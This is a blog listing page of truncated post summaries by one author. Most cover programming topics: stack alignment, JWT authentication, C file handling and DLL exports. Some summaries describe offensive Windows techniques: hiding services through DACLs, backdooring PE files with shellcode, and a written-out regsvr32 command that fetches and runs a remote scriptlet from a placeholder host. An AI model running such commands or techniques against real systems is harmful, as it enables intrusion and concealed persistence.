摘要: 0x00 设置堆栈 栈顶指针按位与之后,将栈桢以16字节的大小对齐: 或者 我对内存对齐的理解: 把栈想象成一个积木堆成的楼,32位里每个积木能容纳4字节(32位),楼层高2的32次方,比如现在你在13楼里操作,发现13楼里堆了一部分东西,但是没有满,此时你有两种选择:继续在这楼里堆你的东西、再往上 阅读全文
posted @ 2021-05-06 15:49 CN_Simo 阅读(148) 评论(0) 推荐(0) 编辑
摘要: 安装Nuget包 项目中添加包:dotnet add package Microsoft.AspNetCore.Authentication.JwtBearer 添加认证配置 Startup类中添加如下配置: public void ConfigureServices(IServiceCollect 阅读全文
posted @ 2021-05-04 23:09 CN_Simo 阅读(599) 评论(0) 推荐(1) 编辑
摘要: 看到一篇文章讲述了通过设置 DACL 隐藏 Windows 服务信息,便做一下总结。 技术原理 系统中每个 Service 在 Windows 中都属于一种对象(Object),用户在访问对象时的权限会被和对象绑定的安全描述信息(Security Descriptors)所限定,例如 修改、删除、读 阅读全文
posted @ 2020-11-10 16:24 CN_Simo 阅读(502) 评论(2) 推荐(1) 编辑
摘要: 原文链接:blog 在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。 命令语法如下: regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll 原理则是利用com组件的scriptlet 阅读全文
posted @ 2020-10-12 18:10 CN_Simo 阅读(496) 评论(0) 推荐(0) 编辑
摘要: 关于文件操作个人比较困惑的地方有两点: 关于w和wb的区别 如何定位文件的读写位置 文件格式和打开模式 c中的文件打开模式分为:文本模式和二进制模式,分别处理文本格式文件和二进制格式文件。 两个模式的主要区别是在换行符的处理上,利用文本模式在写文本内容到文件的时候,需要将换行符转换成系统对应的编码方 阅读全文
posted @ 2020-08-23 00:14 CN_Simo 阅读(282) 评论(0) 推荐(1) 编辑
摘要: 假设被调用的DLL存在一个导出函数,原型如下: void printN(int); 三种方式从DLL导入导出函数 生成DLL时使用模块定义 (.def) 文件 在主应用程序的函数定义中使用关键字__declspec(dllimport)或__declspec(dllexport) 利用#pragma 阅读全文
posted @ 2020-08-19 15:26 CN_Simo 阅读(1851) 评论(10) 推荐(0) 编辑
摘要: 参考 在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。 示例程序代码 这里直接编译一个32位的HelloWorld程序为例: #include <stdi 阅读全文
posted @ 2020-08-19 01:00 CN_Simo 阅读(255) 评论(4) 推荐(0) 编辑
摘要: 在目标机器运行python工具 好多工具都是python写的,如果目标机器是linux的话自带python环境可以很方便的运行这些工具,但是windows下是不自带python环境的,所以一种办法是直接在目标环境安装一个python,另外一种就是直接在内存加载python脚本。 而ironpytho 阅读全文
posted @ 2020-08-18 00:18 CN_Simo 阅读(385) 评论(2) 推荐(0) 编辑
摘要: 读取输入的方式 相关函数原型(从控制台获取输入,不考虑宽字符): int scanf( const char *format, ... ); int getchar(void); char *gets( char *str ); char *gets_s( char *str, rsize_t n 阅读全文
posted @ 2020-08-18 00:16 CN_Simo 阅读(300) 评论(2) 推荐(1) 编辑
摘要: 条件控制 if...else... 大致结构: if(condition) {...} else {...} if(condition) {...} if(condition) {...} else if {...} else {...} switch 结构: switch(variable) { 阅读全文
posted @ 2020-08-18 00:14 CN_Simo 阅读(155) 评论(1) 推荐(0) 编辑